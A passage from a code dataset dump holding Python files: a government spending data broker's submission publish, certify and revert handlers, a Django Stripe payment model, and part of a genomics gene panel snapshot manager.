code to check against or None if checking a CGAC agency\n reporting_fiscal_year: the year to check for\n reporting_fiscal_period: the period in the year to check for\n is_quarter_format: whether the submission being checked is a quarterly or monthly submission\n submission_id: the submission ID to check against (used when checking if this submission is being\n re-published)\n\n Returns:\n A JsonResponse containing a list of the published submissions for that period\n \"\"\"\n # We need either a cgac or a frec code for this function\n if not cgac_code and not frec_code:\n return JsonResponse.error(ValueError('CGAC or FR Entity Code required'), StatusCode.CLIENT_ERROR)\n\n pub_subs = get_submissions_in_period(cgac_code, frec_code, int(reporting_fiscal_year), int(reporting_fiscal_period),\n is_quarter_format, submission_id=submission_id, filter_published='published')\n published_submissions = [\n {\n 'submission_id': pub_sub.submission_id,\n 'is_quarter': pub_sub.is_quarter_format\n }\n for pub_sub in pub_subs\n ]\n return JsonResponse.create(StatusCode.OK, {'published_submissions': published_submissions})\n\n\ndef get_submissions_in_period(cgac_code, frec_code, reporting_fiscal_year, reporting_fiscal_period, is_quarter_format,\n submission_id=None, filter_published='published'):\n \"\"\" Find all the submissions in the given period for the given CGAC or FREC code and submission type\n\n Args:\n cgac_code: the CGAC code to check against or None if checking a FREC agency\n frec_code: the FREC code to check against or None if checking a CGAC agency\n reporting_fiscal_year: the year to check for\n reporting_fiscal_period: the period in the year to check for\n is_quarter_format: whether the submission being checked is a quarterly or monthly submission\n submission_id: the submission ID to check against (used when checking if this submission is being\n re-published)\n filter_published: whether to filter published/unpublished submissions\n (options are: \"mixed\", \"published\" (default), and \"unpublished\")\n\n Returns:\n query including all the submissions for a given period\n \"\"\"\n qtr_subs = filter_submissions(cgac_code, frec_code, reporting_fiscal_year, reporting_fiscal_period,\n submission_id, filter_quarter=True, filter_published=filter_published,\n filter_sub_type='quarterly')\n mon_subs = filter_submissions(cgac_code, frec_code, reporting_fiscal_year, reporting_fiscal_period,\n submission_id, filter_quarter=is_quarter_format,\n filter_published=filter_published,\n filter_sub_type='monthly')\n subs_in_period = mon_subs.union(qtr_subs)\n return subs_in_period\n\n\ndef filter_submissions(cgac_code, frec_code, reporting_fiscal_year, reporting_fiscal_period,\n submission_id=None, filter_published='published', filter_quarter=False,\n filter_sub_type='mixed'):\n \"\"\" Get the list of the submissions based on the filters provided\n\n Args:\n cgac_code: the CGAC code to check against or None if checking a FREC agency\n frec_code: the FREC code to check against or None if checking a CGAC agency\n reporting_fiscal_year: the year to check for\n reporting_fiscal_period: the period in the year to check for\n submission_id: the submission ID to check against (used when checking if this submission is being\n re-published)\n filter_published: whether to filter published/unpublished submissions\n (options are: \"mixed\", \"published\" (default), and \"unpublished\")\n filter_quarter: whether to include submissions in the same quarter (True) or period (False, default)\n filter_sub_type: whether to include monthly and/or quarterly submissions\n (options are: \"monthly\", \"quarterly\", and \"mixed\" (default))\n\n Returns:\n A query to get submissions based on the filters provided\n \"\"\"\n sess = GlobalDB.db().session\n\n submission_query = sess.query(Submission).filter(\n (Submission.cgac_code == cgac_code) if cgac_code else (Submission.frec_code == frec_code),\n Submission.reporting_fiscal_year == reporting_fiscal_year,\n Submission.is_fabs.is_(False))\n\n if filter_published not in ('published', 'unpublished', 'mixed'):\n raise ValueError('Published param must be one of the following: \"published\", \"unpublished\", or \"mixed\"')\n if filter_published == 'published':\n submission_query = submission_query.filter(Submission.publish_status_id != PUBLISH_STATUS_DICT['unpublished'])\n elif filter_published == 'unpublished':\n submission_query = submission_query.filter(Submission.publish_status_id == PUBLISH_STATUS_DICT['unpublished'])\n\n if not filter_quarter:\n submission_query = submission_query.filter(Submission.reporting_fiscal_period == reporting_fiscal_period)\n else:\n reporting_fiscal_quarter = math.ceil(reporting_fiscal_period / 3)\n submission_query = submission_query.filter((func.ceil(cast(Submission.reporting_fiscal_period, Numeric) / 3)\n == reporting_fiscal_quarter))\n\n if filter_sub_type not in ('monthly', 'quarterly', 'mixed'):\n raise ValueError('Published param must be one of the following: \"monthly\", \"quarterly\", or \"mixed\"')\n if filter_sub_type == 'monthly':\n submission_query = submission_query.filter(Submission.is_quarter_format.is_(False))\n elif filter_sub_type == 'quarterly':\n submission_query = submission_query.filter(Submission.is_quarter_format.is_(True))\n\n # Filter out the submission we are potentially re-publishing if one is provided\n if submission_id:\n submission_query = submission_query.filter(Submission.submission_id != submission_id)\n\n return submission_query.order_by(desc(Submission.created_at))\n\n\ndef move_published_data(sess, submission_id, direction='publish'):\n \"\"\" Move data from the staging tables to the published tables for a submission or do the reverse for a revert.\n\n Args:\n sess: the database connection\n submission_id: The ID of the submission to move data for\n direction: The direction to move the published data (publish or revert)\n\n Raises:\n ResponseException if a value other than \"publish\" or \"revert\" is specified for the direction.\n \"\"\"\n table_types = {'appropriation': [Appropriation, PublishedAppropriation, 'submission'],\n 'object_class_program_activity': [ObjectClassProgramActivity, PublishedObjectClassProgramActivity,\n 'submission'],\n 'award_financial': [AwardFinancial, PublishedAwardFinancial, 'submission'],\n 'award_procurement': [AwardProcurement, PublishedAwardProcurement, 'submission'],\n 'award_financial_assistance': [AwardFinancialAssistance, PublishedAwardFinancialAssistance,\n 'submission'],\n 'error_metadata': [ErrorMetadata, PublishedErrorMetadata, 'job'],\n 'comment': [Comment, PublishedComment, 'submission'],\n 'flex_field': [FlexField, PublishedFlexField, 'submission'],\n 'total_obligations': [TotalObligations, PublishedTotalObligations, 'submission']}\n\n # Get list of jobs so we can use them for filtering\n job_list = sess.query(Job.job_id).filter_by(submission_id=submission_id).all()\n job_list = [item[0] for item in job_list]\n\n for table_type, table_object in table_types.items():\n if direction == 'publish':\n source_table = table_object[0]\n target_table = table_object[1]\n elif direction == 'revert':\n source_table = table_object[1]\n target_table = table_object[0]\n else:\n raise ResponseException('Direction to move data must be publish or revert.', status=StatusCode.CLIENT_ERROR)\n\n logger.info({\n 'message': 'Deleting old data from {} table'.format(target_table.__table__.name),\n 'message_type': 'BrokerInfo',\n 'submission_id': submission_id\n })\n\n # Delete the old data in the target table\n if table_object[2] == 'submission':\n sess.query(target_table).filter_by(submission_id=submission_id).delete(synchronize_session=False)\n else:\n sess.query(target_table).filter(target_table.job_id.in_(job_list)).delete(synchronize_session=False)\n\n logger.info({\n 'message': 'Moving published data from {} table'.format(source_table.__table__.name),\n 'message_type': 'BrokerInfo',\n 'submission_id': submission_id\n })\n\n column_list = [col.key for col in table_object[0].__table__.columns]\n column_list.remove('created_at')\n column_list.remove('updated_at')\n column_list.remove(table_type + '_id')\n\n col_string = ', '.join(column_list)\n\n insert_string = \"\"\"\n INSERT INTO {target} (created_at, updated_at, {cols})\n SELECT NOW() AS created_at, NOW() AS updated_at, {cols}\n FROM {source}\n WHERE\n \"\"\".format(source=source_table.__table__.name, target=target_table.__table__.name, cols=col_string)\n\n # Filter by either submission ID or job IDs depending on the situation\n if table_object[2] == 'submission':\n insert_string += ' submission_id={}'.format(submission_id)\n else:\n insert_string += ' job_id IN ({})'.format(','.join(str(job) for job in job_list))\n\n # Move the published data\n sess.execute(insert_string)\n\n\ndef publish_checks(submission):\n \"\"\" Checks to make sure the submission can be published\n\n Args:\n submission: the submission to be published\n\n Raises:\n ValueError if there is any reason a submission cannot be published\n \"\"\"\n\n if not submission.publishable:\n raise ValueError('Submission cannot be published due to critical errors')\n\n if submission.test_submission:\n raise ValueError('Test submissions cannot be published')\n\n if submission.publish_status_id == PUBLISH_STATUS_DICT['published']:\n raise ValueError('Submission has already been published')\n\n if submission.publish_status_id in (PUBLISH_STATUS_DICT['publishing'], PUBLISH_STATUS_DICT['reverting']):\n raise ValueError('Submission is publishing or reverting')\n\n banners = get_banners()\n for banner in banners:\n if banner.block_certification:\n raise ValueError(banner.message)\n\n sess = GlobalDB.db().session\n # Check revalidation threshold\n last_validated = get_last_validated_date(submission.submission_id)\n reval_thresh = get_revalidation_threshold()['revalidation_threshold']\n if reval_thresh and reval_thresh >= last_validated:\n raise ValueError('This submission has not been validated since before the revalidation threshold ({}), it must'\n ' be revalidated before publishing.'.format(reval_thresh.replace('T', ' ')))\n\n # Get the year/period of the submission and filter by them\n sub_period = submission.reporting_fiscal_period\n sub_year = submission.reporting_fiscal_year\n sub_schedule = sess.query(SubmissionWindowSchedule).filter_by(year=sub_year, period=sub_period). \\\n one_or_none()\n # If we don't have a submission window for this year/period, they can't submit\n if not sub_schedule:\n raise ValueError('No submission window for this year and period was found. If this is an error, please contact'\n ' the Service Desk.')\n\n # Make sure everything was last validated after the start of the submission window\n last_validated = datetime.strptime(last_validated, '%Y-%m-%dT%H:%M:%S')\n if last_validated < sub_schedule.period_start:\n raise ValueError('This submission was last validated or its D files generated before the start of the'\n ' submission window ({}). Please revalidate before publishing.'.\n format(sub_schedule.period_start.strftime('%m/%d/%Y')))\n\n # Make sure neither A nor B is blank before allowing publication\n blank_files = sess.query(Job). \\\n filter(Job.file_type_id.in_([FILE_TYPE_DICT['appropriations'], FILE_TYPE_DICT['program_activity']]),\n Job.number_of_rows_valid == 0, Job.job_type_id == JOB_TYPE_DICT['csv_record_validation'],\n Job.submission_id == submission.submission_id).count()\n\n if blank_files > 0:\n raise ValueError('Cannot publish while file A or B is blank.')\n\n pub_subs = get_submissions_in_period(submission.cgac_code, submission.frec_code, submission.reporting_fiscal_year,\n submission.reporting_fiscal_period, submission.is_quarter_format,\n submission_id=submission.submission_id, filter_published='published')\n\n if pub_subs.count() > 0:\n raise ValueError('This period already has published submission(s) by this agency.')\n\n\ndef process_dabs_publish(submission, file_manager):\n \"\"\" Processes the actual publishing of a DABS submission.\n\n Args:\n submission: the submission to be published\n file_manager: a FileHandler object to be used to call move_published_files\n \"\"\"\n publish_checks(submission)\n\n active_user_id = g.user.user_id\n sess = GlobalDB.db().session\n\n # Determine if this is the first time this submission is being published\n first_publish = (submission.publish_status_id == PUBLISH_STATUS_DICT['unpublished'])\n\n # set publish_status to \"publishing\"\n submission.publish_status_id = PUBLISH_STATUS_DICT['publishing']\n\n # create the publish_history entry\n publish_history = PublishHistory(user_id=active_user_id, submission_id=submission.submission_id)\n sess.add(publish_history)\n sess.commit()\n\n # get the publish_history entry including the PK\n publish_history = sess.query(PublishHistory).filter_by(submission_id=submission.submission_id). \\\n order_by(PublishHistory.created_at.desc()).first()\n\n # Move the data to the published table, deleting any old published data in the process\n move_published_data(sess, submission.submission_id)\n\n # move files (locally we don't move but we still need to populate the published_files_history table)\n file_manager.move_published_files(submission, publish_history, None, file_manager.is_local)\n\n # set submission contents\n submission.publishing_user_id = active_user_id\n submission.publish_status_id = PUBLISH_STATUS_DICT['published']\n publish_history.updated_at = datetime.utcnow()\n sess.commit()\n\n if first_publish:\n # update any other submissions by the same agency in the same quarter/period to point to this submission\n unpub_subs = get_submissions_in_period(submission.cgac_code, submission.frec_code,\n submission.reporting_fiscal_year, submission.reporting_fiscal_period,\n submission.is_quarter_format, submission.submission_id,\n filter_published='unpublished')\n for unpub_sub in unpub_subs.all():\n unpub_sub.published_submission_ids.append(submission.submission_id)\n unpub_sub.test_submission = True\n sess.commit()\n\n\ndef process_dabs_certify(submission):\n \"\"\" Processes the actual certification of a DABS submission.\n\n Args:\n submission: the submission to be certified\n\n Raises:\n ValueError if this is somehow called without a PublishHistory associated with the submission ID or if there\n is already a certification associated with the most recent publication\n \"\"\"\n active_user_id = g.user.user_id\n sess = GlobalDB.db().session\n\n max_pub_history = sess.query(func.max(PublishHistory.publish_history_id).label('max_id')). \\\n filter(PublishHistory.submission_id == submission.submission_id).one()\n\n if max_pub_history.max_id is None:\n raise ValueError('There is no publish history associated with this submission. Submission must be published'\n ' before certification.')\n\n pub_files_history = sess.query(PublishedFilesHistory).filter_by(publish_history_id=max_pub_history.max_id).all()\n\n for pub_file in pub_files_history:\n if pub_file.certify_history_id is not None:\n raise ValueError('This submission already has a certification associated with the most recent publication.')\n\n certify_history = CertifyHistory(user_id=active_user_id, submission_id=submission.submission_id)\n sess.add(certify_history)\n sess.commit()\n\n for pub_file in pub_files_history:\n pub_file.certify_history_id = certify_history.certify_history_id\n\n submission.certified = True\n sess.commit()\n\n\ndef publish_dabs_submission(submission, file_manager):\n \"\"\" Publish a DABS submission (monthly only)\n\n Args:\n submission: the submission to be published\n file_manager: a FileHandler object to be used to call move_published_files\n\n Returns:\n A JsonResponse containing the message \"success\" if successful, JsonResponse error containing the details of\n the error if something went wrong\n \"\"\"\n if submission.is_quarter_format:\n return JsonResponse.error(ValueError('Quarterly submissions cannot be published separate from certification.'\n ' Use the publish_and_certify_dabs_submission endpoint to publish and'\n ' certify.'),\n StatusCode.CLIENT_ERROR)\n if submission.certified:\n return JsonResponse.error(ValueError('Submissions that have been certified cannot be republished separately.'\n ' Use the publish_and_certify_dabs_submission endpoint to republish.'),\n StatusCode.CLIENT_ERROR)\n\n # Get the year/period of the submission and filter by them\n sess = GlobalDB.db().session\n sub_period = submission.reporting_fiscal_period\n sub_year = submission.reporting_fiscal_year\n sub_schedule = sess.query(SubmissionWindowSchedule).filter_by(year=sub_year, period=sub_period).one_or_none()\n\n # If this is a monthly submission and the certification deadline has passed they have to publish/certify together\n if sub_schedule and sub_schedule.certification_deadline < datetime.utcnow():\n return JsonResponse.error(ValueError('Monthly submissions past their certification deadline must be published'\n ' and certified at the same time. Use the'\n ' publish_and_certify_dabs_submission endpoint.'), StatusCode.CLIENT_ERROR)\n\n try:\n process_dabs_publish(submission, file_manager)\n except ValueError as e:\n return JsonResponse.error(e, StatusCode.CLIENT_ERROR)\n\n return JsonResponse.create(StatusCode.OK, {'message': 'Success'})\n\n\ndef certify_dabs_submission(submission):\n \"\"\" Certify a DABS submission (monthly only)\n\n Args:\n submission: the submission to be certified\n\n Returns:\n A JsonResponse containing the message \"success\" if successful, JsonResponse error containing the details of\n the error if something went wrong\n \"\"\"\n if submission.is_quarter_format:\n return JsonResponse.error(ValueError('Quarterly submissions cannot be certified separate from publication.'\n ' Use the publish_and_certify_dabs_submission endpoint to publish and'\n ' certify.'),\n StatusCode.CLIENT_ERROR)\n if submission.publish_status_id != PUBLISH_STATUS_DICT['published']:\n return JsonResponse.error(ValueError('Submissions must be published before certification. Use the'\n ' publish_dabs_submission endpoint to publish first.'),\n StatusCode.CLIENT_ERROR)\n if submission.certified:\n return JsonResponse.error(ValueError('Submissions that have been certified cannot be recertified separately.'\n ' Use the publish_and_certify_dabs_submission endpoint to recertify.'),\n StatusCode.CLIENT_ERROR)\n\n try:\n process_dabs_certify(submission)\n except ValueError as e:\n return JsonResponse.error(e, StatusCode.CLIENT_ERROR)\n\n return JsonResponse.create(StatusCode.OK, {'message': 'Success'})\n\n\ndef publish_and_certify_dabs_submission(submission, file_manager):\n \"\"\" Publish and certify a DABS submission\n\n Args:\n submission: the submission to be published and certified\n file_manager: a FileHandler object to be used to call move_published_files\n\n Returns:\n A JsonResponse containing the message \"success\" if successful, JsonResponse error containing the details of\n the error if something went wrong\n \"\"\"\n if submission.is_quarter_format and submission.reporting_fiscal_year >= 2022:\n return JsonResponse.error(ValueError('Quarterly submissions from FY22 onward cannot be published.'),\n StatusCode.CLIENT_ERROR)\n try:\n process_dabs_publish(submission, file_manager)\n except ValueError as e:\n return JsonResponse.error(e, StatusCode.CLIENT_ERROR)\n\n try:\n process_dabs_certify(submission)\n except ValueError as e:\n return JsonResponse.error(e, StatusCode.CLIENT_ERROR)\n\n return JsonResponse.create(StatusCode.OK, {'message': 'Success'})\n\n\ndef revert_to_published(submission, file_manager):\n \"\"\" Revert an updated DABS submission to its last published state\n\n Args:\n submission: the submission to be reverted\n file_manager: a FileHandler object to be used to call revert_published_error_files and determine is_local\n\n Returns:\n A JsonResponse containing a success message\n\n Raises:\n ResponseException: if submission provided is a FABS submission or is not in an \"updated\" status\n \"\"\"\n\n if submission.is_fabs:\n raise ResponseException('Submission must be a DABS submission.', status=StatusCode.CLIENT_ERROR)\n\n if submission.publish_status_id != PUBLISH_STATUS_DICT['updated']:\n raise ResponseException('Submission has not been published or has not been updated since publication.',\n status=StatusCode.CLIENT_ERROR)\n\n sess = GlobalDB.db().session\n submission.publish_status_id = PUBLISH_STATUS_DICT['reverting']\n sess.commit()\n move_published_data(sess, submission.submission_id, direction='revert')\n\n # Copy file paths from published_files_history\n max_pub_history = sess.query(func.max(PublishHistory.publish_history_id), func.max(PublishHistory.updated_at)).\\\n filter(PublishHistory.submission_id == submission.submission_id).one()\n remove_timestamp = [str(FILE_TYPE_DICT['appropriations']), str(FILE_TYPE_DICT['program_activity']),\n str(FILE_TYPE_DICT['award_financial'])]\n if file_manager.is_local:\n filepath = CONFIG_BROKER['broker_files']\n ef_path = ''\n else:\n filepath = '{}/'.format(submission.submission_id)\n ef_path = filepath\n remove_timestamp.extend([str(FILE_TYPE_DICT['executive_compensation']), str(FILE_TYPE_DICT['sub_award'])])\n\n # Published filename -> Job filename, original filename\n # Local:\n # A/B/C:\n # filename -> '[broker_files dir][published file base name]'\n # original_filename -> '[published file base name without the timestamp]'\n # D1/D2:\n # filename -> '[broker_files dir][published file base name]'\n # original_filename -> '[published file base name]'\n # E/F:\n # filename -> '[published file base name]'\n # original_filename -> '[published file base name]'\n # Remote:\n # A/B/C/E/F:\n # filename -> '[submission_id]/[published file base name]'\n # original_filename -> '[published file base name without the timestamp]'\n # D1/D2:\n # filename -> '[submission_id dir][published file base name]'\n # original_filename -> '[published file base name]'\n update_string = \"\"\"\n WITH filenames AS (\n SELECT REVERSE(SPLIT_PART(REVERSE(filename), '/', 1)) AS simple_name,\n file_type_id\n FROM published_files_history\n WHERE publish_history_id = {history_id}\n )\n UPDATE job\n SET filename = CASE WHEN job.file_type_id NOT IN (6, 7)\n THEN '{filepath}'\n ELSE '{ef_path}'\n END || simple_name,\n original_filename = CASE WHEN job.file_type_id NOT IN ({remove_timestamp})\n THEN simple_name\n ELSE substring(simple_name, position('_' in simple_name) + 1)\n END\n FROM filenames\n WHERE job.file_type_id = filenames.file_type_id\n AND job.submission_id = {submission_id};\n \"\"\".format(history_id=max_pub_history[0], filepath=filepath, ef_path=ef_path,\n remove_timestamp=', '.join(remove_timestamp), submission_id=submission.submission_id)\n sess.execute(update_string)\n\n # Set errors/warnings for the submission\n submission.number_of_errors = 0\n submission.number_of_warnings =\\\n sess.query(func.coalesce(func.sum(PublishedErrorMetadata.occurrences), 0).label('total_warnings')).\\\n join(Job, PublishedErrorMetadata.job_id == Job.job_id).\\\n filter(Job.submission_id == submission.submission_id).one().total_warnings\n submission.publishable = True\n\n # Set default numbers/status/last validation date for jobs then update warnings\n sess.query(Job).filter_by(submission_id=submission.submission_id).\\\n update({'number_of_errors': 0, 'number_of_warnings': 0, 'job_status_id': JOB_STATUS_DICT['finished'],\n 'last_validated': max_pub_history[1], 'error_message': None, 'file_generation_id': None})\n\n # Get list of jobs so we can update them\n job_list = sess.query(Job).\\\n filter(Job.submission_id == submission.submission_id,\n Job.job_type_id.in_([JOB_TYPE_DICT['csv_record_validation'], JOB_TYPE_DICT['validation']]),\n Job.file_type_id.notin_([FILE_TYPE_DICT['sub_award'], FILE_TYPE_DICT['executive_compensation']])).all()\n\n # Fixing File table\n job_ids = [str(job.job_id) for job in job_list]\n update_string = \"\"\"\n UPDATE file\n SET filename = job.filename,\n file_status_id = 1,\n headers_missing = NULL,\n headers_duplicated = NULL\n FROM job\n WHERE job.job_id = file.job_id\n AND job.job_id IN ({job_ids});\n \"\"\".format(job_ids=', '.join(job_ids))\n sess.execute(update_string)\n\n file_type_mapping = {\n FILE_TYPE_DICT['appropriations']: PublishedAppropriation,\n FILE_TYPE_DICT['program_activity']: PublishedObjectClassProgramActivity,\n FILE_TYPE_DICT['award_financial']: PublishedAwardFinancial,\n FILE_TYPE_DICT['award']: PublishedAwardFinancialAssistance,\n FILE_TYPE_DICT['award_procurement']: PublishedAwardProcurement\n }\n # Update the number of warnings for each job in the list\n for job in job_list:\n job.number_of_warnings = sess.query(func.coalesce(func.sum(PublishedErrorMetadata.occurrences), 0).\n label('total_warnings')). \\\n filter_by(job_id=job.job_id).one().total_warnings\n # For non-cross-file jobs, also update the row count and file size\n if job.job_type_id != JOB_TYPE_DICT['validation']:\n file_type_model = file_type_mapping[job.file_type_id]\n total_rows = sess.query(file_type_model).filter_by(submission_id=submission.submission_id).count()\n job.number_of_rows = total_rows + 1\n job.number_of_rows_valid = total_rows\n if file_manager.is_local:\n # local file size\n try:\n job.file_size = os.path.getsize(job.filename)\n except Exception:\n logger.warning('File doesn\\'t exist locally: %s', job.filename)\n job.file_size = 0\n else:\n # boto file size\n job.file_size = S3Handler.get_file_size(job.filename)\n # Set submission to published status\n submission.publish_status_id = PUBLISH_STATUS_DICT['published']\n sess.commit()\n\n # Move warning/comment files back non-locally and clear out error files for all environments\n file_manager.revert_published_error_comment_files(sess, max_pub_history[0], submission.submission_id)\n\n return JsonResponse.create(StatusCode.OK, {'message': 'Submission {} successfully reverted to published status.'.\n format(submission.submission_id)})\n","repo_name":"fedspendingtransparency/data-act-broker-backend","sub_path":"dataactbroker/handlers/submission_handler.py","file_name":"submission_handler.py","file_ext":"py","file_size_in_byte":54308,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"42567720364","text":"from django.db import models\nfrom django.conf import settings\n\nfrom core.models import Order\n\n\nclass StripePayment(models.Model):\n user = models.ForeignKey(\n settings.AUTH_USER_MODEL,\n on_delete=models.SET_NULL,\n related_name='customer',\n blank=True,\n null=True\n )\n order = models.OneToOneField(\n Order, on_delete=models.SET_NULL, blank=True, null=True)\n payment_intent_id = models.CharField(max_length=50, blank=True, null=True)\n","repo_name":"Rouizi/ecommerce","sub_path":"payment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10064595532","text":"import logging\nimport itertools\nfrom psycopg2.extras import NumericRange\nfrom copy import deepcopy\nfrom django.core.cache import cache\nfrom django.db import models\nfrom django.db.utils import DatabaseError\nfrom django.db import transaction\nfrom django.db.models import Count\nfrom django.db.models import Case\nfrom django.db.models import When\nfrom django.db.models import Subquery\nfrom django.db.models import CharField, Value as V\nfrom django.db.models.functions import Concat\nfrom django.db.models import Q, Value\nfrom django.contrib.postgres.fields import JSONField\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.contrib.postgres.fields import ArrayField\nfrom django.contrib.postgres.aggregates import ArrayAgg\nfrom django.utils.functional import cached_property\nfrom model_utils.models import TimeStampedModel\n\nfrom accounts.models import User\nfrom panels.tasks import email_panel_promoted\nfrom panels.exceptions import IsSuperPanelException\nfrom .activity import Activity\nfrom .genepanel import GenePanel\nfrom .Level4Title import Level4Title\nfrom .trackrecord import TrackRecord\nfrom .evidence import Evidence\nfrom .evaluation import Evaluation\nfrom .gene import Gene\nfrom .comment import Comment\nfrom .tag import Tag\nfrom panels.tasks import increment_panel_async\n\n\nclass GenePanelSnapshotManager(models.Manager):\n def get_latest_ids(self, deleted=False, exclude_superpanels=False):\n \"\"\"Get latest versions for GenePanelsSnapshots\"\"\"\n\n qs = super().get_queryset()\n if not deleted:\n qs = qs.exclude(panel__status=GenePanel.STATUS.deleted)\n\n return (\n qs.distinct(\"panel_id\")\n .values(\"pk\")\n .order_by(\n \"panel_id\", \"-major_version\", \"-minor_version\", \"-modified\", \"-pk\"\n )\n )\n\n def get_active(\n self,\n all=False,\n deleted=False,\n internal=False,\n name=None,\n panel_types=None,\n superpanels=True,\n ):\n \"\"\"Get active panels\n\n Parameters:\n - all\n Setting it to False will only return `public` panels\n - deleted\n Whether to include the deleted panels\n - internal\n If we want to include `internal` panels in the list\n \"\"\"\n\n qs = super().get_queryset()\n\n if not all:\n qs = qs.filter(\n Q(panel__status=GenePanel.STATUS.public)\n | Q(panel__status=GenePanel.STATUS.promoted)\n )\n\n if panel_types:\n qs = qs.filter(panel__types__slug__in=panel_types)\n\n if not internal:\n qs = qs.exclude(panel__status=GenePanel.STATUS.internal)\n\n if not superpanels:\n # exclude super panels when incrementing versions for all panels\n qs = qs.annotate(child_panels_count=Count(\"child_panels\")).exclude(\n child_panels_count__gt=0\n )\n\n qs = qs.filter(pk__in=Subquery(self.get_latest_ids(deleted)))\n\n if name:\n if name.isdigit():\n filters = Q(panel_id=name)\n else:\n filters = (\n Q(panel__old_pk=name)\n | Q(panel__name=name)\n | Q(old_panels__contains=[name])\n | Q(panel__name__icontains=name)\n )\n qs = qs.filter(filters)\n\n return qs.prefetch_related(\n \"panel\", \"panel__types\", \"child_panels\", \"level4title\"\n ).order_by(\n \"level4title__name\", \"-major_version\", \"-minor_version\", \"-modified\", \"-pk\"\n )\n\n def get_active_annotated(\n self, all=False, deleted=False, internal=False, name=None, panel_types=None, superpanels=True\n ):\n \"\"\"This method adds additional values to the queryset, such as number_of_genes, etc and returns active panels\"\"\"\n\n return self.annotate_panels(\n self.get_active(all, deleted, internal, name, panel_types, superpanels=superpanels)\n )\n\n def annotate_panels(self, qs):\n return qs.annotate(\n child_panels_count=Count(\"child_panels\"),\n superpanels_count=Count(\"genepanelsnapshot\"),\n panel_type_slugs=ArrayAgg(\"panel__types__slug\", distinct=True),\n ).annotate(\n is_super_panel=Case(\n When(child_panels_count__gt=0, then=Value(True)),\n default=Value(False),\n output_field=models.BooleanField(),\n ),\n is_child_panel=Case(\n When(superpanels_count__gt=0, then=Value(True)),\n default=Value(False),\n output_field=models.BooleanField(),\n ),\n unique_id=Case(\n When(panel__old_pk__isnull=False, then=(Value(\"panel__old_pk\"))),\n default=Value(\"panel_id\"),\n output_field=models.CharField(),\n ),\n )\n\n def get_panel_version(self, name, version):\n qs = super().get_queryset()\n\n major_version, minor_version = version.split(\".\")\n\n if name.isdigit():\n filters = Q(panel_id=name)\n else:\n filters = (\n Q(panel__old_pk=name)\n | Q(panel__name=name)\n | Q(old_panels__contains=[name])\n | Q(panel__name__icontains=name)\n )\n qs = qs.filter(filters)\n\n return self.annotate_panels(\n qs.filter(major_version=major_version, minor_version=minor_version)\n )\n\n def get_gene_panels(self, gene_symbol, all=False, internal=False):\n \"\"\"Get all panels for a specific gene in Gene entities\"\"\"\n\n return self.get_active_annotated(all=all, internal=internal).filter(\n genepanelentrysnapshot__gene__gene_symbol=gene_symbol\n )\n\n def get_strs_panels(self, gene_symbol, all=False, internal=False):\n \"\"\"Get all panels for a specific gene in STR entities\"\"\"\n\n return self.get_active_annotated(all=all, internal=internal).filter(\n str__gene__gene_symbol=gene_symbol\n )\n\n def get_region_panels(self, gene_symbol, all=False, internal=False):\n \"\"\"Get all panels for a specific gene in Region entities\"\"\"\n\n return self.get_active_annotated(all=all, internal=internal).filter(\n str__gene__gene_symbol=gene_symbol\n )\n\n def get_shared_panels(self, gene_symbol, all=False, internal=False):\n \"\"\"Get all panels for a specific gene\"\"\"\n\n qs = self.get_active(all=all, internal=internal)\n qs = (\n qs.filter(genepanelentrysnapshot__gene_core__gene_symbol=gene_symbol)\n .union(qs.filter(str__gene_core__gene_symbol=gene_symbol))\n .union(qs.filter(region__gene_core__gene_symbol=gene_symbol))\n )\n return qs\n\n def get_panels_active_panels(self, all=False, deleted=False, internal=False):\n return (\n self.get_active(all=all, deleted=deleted, internal=internal)\n .annotate(\n version=Concat(\n \"major_version\", V(\".\"), \"minor_version\", output_field=CharField()\n )\n )\n .values_list(\"panel_id\", \"panel__name\")\n )\n\n def get_panel_snapshots(self, panel_id):\n return (\n super()\n .get_queryset()\n .filter(panel_id=panel_id)\n .prefetch_related(\"panel\", \"level4title\")\n .order_by(\"-major_version\", \"-minor_version\")\n )\n\n def get_panel_versions(self, panel_id, all=False, deleted=False, internal=False):\n qs = self.filter(panel_id=panel_id)\n\n if not all:\n qs = qs.filter(\n Q(panel__status=GenePanel.STATUS.public)\n | Q(panel__status=GenePanel.STATUS.promoted)\n )\n\n if not internal:\n qs = qs.exclude(panel__status=GenePanel.STATUS.internal)\n\n if not deleted:\n qs = qs.exclude(panel__status=GenePanel.STATUS.deleted)\n\n return (\n qs.annotate(\n version=Concat(\n \"major_version\", V(\".\"), \"minor_version\", output_field=CharField()\n )\n )\n .order_by(\"-major_version\", \"-minor_version\", \"-modified\", \"-pk\")\n .values_list(\"version\", \"version\")\n )\n\n def get_panel_entities(\n self,\n panel_id,\n major_version,\n minor_version,\n all=False,\n deleted=False,\n internal=False,\n ):\n qs = self.filter(\n panel_id=panel_id, major_version=major_version, minor_version=minor_version\n )\n\n if not all:\n qs = qs.filter(\n Q(panel__status=GenePanel.STATUS.public)\n | Q(panel__status=GenePanel.STATUS.promoted)\n )\n\n if not internal:\n qs = qs.exclude(panel__status=GenePanel.STATUS.internal)\n\n if not deleted:\n qs = qs.exclude(panel__status=GenePanel.STATUS.deleted)\n\n gps = qs.first()\n if not gps:\n return []\n\n genes = [\n (g.get(\"gene_symbol\"), \"Gene: {}\".format(g.get(\"gene_symbol\")))\n for g in gps.cached_genes.values_list(\"gene\", flat=True)\n ]\n strs = [\n (n, \"STR: {}\".format(n))\n for n in gps.cached_strs.values_list(\"name\", flat=True)\n ]\n regions = [\n (\n n.get(\"name\"),\n \"Region: {} - {}\".format(n.get(\"name\"), n.get(\"verbose_name\")),\n )\n for n in gps.cached_regions.values(\"name\", \"verbose_name\")\n ]\n\n entities = list(genes) + list(strs) + list(regions)\n return sorted(entities, key=lambda e: e[0].lower())\n\n\nclass GenePanelSnapshot(TimeStampedModel):\n \"\"\"Main Gene Panel model\n\n GenePanel is just a placeholder with a static ID for a panel, all\n information for the genes is actually stored in GenePanelSnapshot.\n\n Every time we change something in a gene or in a panel we create a new\n spanshot and make the changes there. This allows us to preserve the changes\n between versions and we can retrieve a specific version.\n \"\"\"\n\n SUPPORTED_ENTITIES = [\"str\", \"region\", \"genepanelentrysnapshot\"]\n\n class Meta:\n get_latest_by = \"created\"\n ordering = [\"-major_version\", 